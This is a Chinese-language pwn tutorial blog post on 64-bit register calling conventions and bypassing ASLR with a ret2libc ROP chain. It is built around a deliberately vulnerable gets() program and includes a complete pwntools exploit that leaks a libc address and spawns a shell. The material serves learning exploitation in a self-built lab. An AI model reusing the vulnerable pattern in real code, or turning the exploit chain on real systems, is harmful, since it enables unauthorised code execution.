pwn學習--64位繞過地址隨機化

0x01 64位與32位的區別

在此篇文章之前,一直都討論的是32位的情況,不過現在已經2020年了,64位程序逐漸成爲主流。所以研究64位的程序也是非常必要的

開始之前,我要先理清一個知識點:x86指的是cpu的架構,x64是cpu位數,我們通常用的x64的全稱叫x86-64,也就是說x64是x86架構的64位cpu。而之所以用x86代表32位系統,是因爲32位cpu佔據了很長一段時間,所以習慣性的用x86代表32位cpu,是一種通俗用法罷了,是不嚴謹甚至有誤的。
區別:
1.首先是內存地址的範圍由32位變成了64位,x64可以使用的內存地址不能大於0x00007fffffffffff,否則會拋出異常。
2.函數參數的傳遞方式:x86中參數都是保存在棧上,因爲64位程序有了更多的通用寄存器, 所以通常會使用寄存器來進行函數參數傳遞而不是通過棧, 來獲得更高的運行速度。在x64中的前六個參數依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果還有更多的參數的話纔會保存在棧上。

64位彙編
當參數少於7個時, 參數從左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
當參數爲7個以上時, 前 6 個與前面一樣, 但後面的依次從 “右向左” 放入棧中,即和32位彙編一樣。

0x02 一個示例

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

char buf2[10] = "this is buf2";
void vul()
{
        char buf1[10];
        gets(buf1);
}

void main()
{
        write(1,"sinxx",5);
        vul();
}

編譯(沒有-m32,就是編譯成64位的)

gcc -no-pie -fno-stack-protector -o 10.exe 10.c

可以checksec 10.exe看看,的確編譯成了64位的
在這裏插入圖片描述
接下來開始查看溢出點

cyclic 100
cyclic -l aafa

這裏和32位主要的一個區別是 如何確定這裏的aafa,可以看ret後面的地址前四位,由於小端序,反轉過來後對應的就是aafa,可是這樣看起來比較麻煩,如圖我們可以取棧頂的前四位。
在這裏插入圖片描述在這裏插入圖片描述
接下來我們就要開始寫exp

我們還是要先找到gets的真實地址,然後利用相對偏移找到system和“\bin\sh”的地址

我們之前提到x86中參數都是保存在棧上,但在x64中前六個參數依次保存在RDI, RSI, RDX, RCX, R8和R9寄存器裏
如果還有更多的參數的話纔會保存在棧上,所以我們需要尋找一些類似於pop rdi; ret的這種gadget
如果是簡單的gadgets,我們可以通過objdump來查找
但當我們打算尋找一些複雜的gadgets的時候,還是藉助於ROPgadgets來查找寄存器

 ROPgadget --binary 10.exe --only "pop|ret"

在這裏插入圖片描述

0x00000000004011db : pop rdi ; ret
0x00000000004011d9 : pop rsi ; pop r15 ; ret

1.發現沒有rdx的,不過也沒關係,write函數前面兩個是關鍵
2.找到pop rsi;pop r15;ret 我們構造payload時,需要兩個值壓棧。

from pwn import *
#context(arch="amd64",os="linux",log_level="debug")
p=process("./10.exe")
e=ELF("./10.exe")
addr_write=e.plt["write"]
addr_gets=e.got["gets"]
addr_vul=e.symbols["vul"]
addr_rdi=0x4011db
addr_rsi=0x4011d9

offset=18

#print pidof(p)
pause()

payload1=offset*'a'+p64(addr_rdi)+p64(1)+p64(addr_rsi)+p64(addr_gets)+p64(1)+p64(addr_write)+p64(addr_vul)
p.sendlineafter("sinxx",payload1)

gets_real_addr=u64(p.recv(8))
#gets_real_addr=u64(p.recv()[:8])

#print hex(gets_real_addr)

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
rva_libc=gets_real_addr-libc.symbols["gets"]
addr_system=rva_libc+libc.symbols["system"]
addr_binsh=rva_libc+libc.search("/bin/sh").next()

payload2=offset*'a'+p64(addr_rdi)+p64(addr_binsh)+p64(addr_system)
p.sendline(payload2)
p.interactive()

對exp的理解:

payload1=offset*'a'+p64(addr_rdi)+p64(1)+p64(addr_rsi)+p64(addr_gets)+p64(1)+p64(addr_write)+p64(addr_vul)

x64中前六個參數依次保存在RDI, RSI, RDX, RCX, R8和R9寄存器裏,所以write函數的參數分別放在了rdi,rsi,rdx寄存器裏面,

然後使用pop xxx ;ret 使rdi寄存器裏的值爲1,使rsi寄存器裏的值爲gets的真實地址,r15寄存的值是1(這不是重點),這裏rdi的值沒有限制,不過也不影響

然後是call write函數,先將vul函數的地址壓棧,然後再去執行write函數,執行完後就可以再次利用vul裏面的gets函數溢出,執行payload2。

payload2=offset*'a'+p64(addr_rdi)+p64(addr_binsh)+p64(addr_system)

這個先讓/bin/sh的地址到rdi寄存器裏裏面,system函數調用會需要一個參數,也就是這個rdi,所以payload2就是調用system“/bin/sh”

運行:
我這個運行起來有個很尷尬的場景,可以getshell不過中間出現了好多/x00
在這裏插入圖片描述在這裏插入圖片描述

0x03 參考文章

https://www.cnblogs.com/wintrysec/p/10493583.html
http://blog.sina.com.cn/s/blog_6053551a0102x5my.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章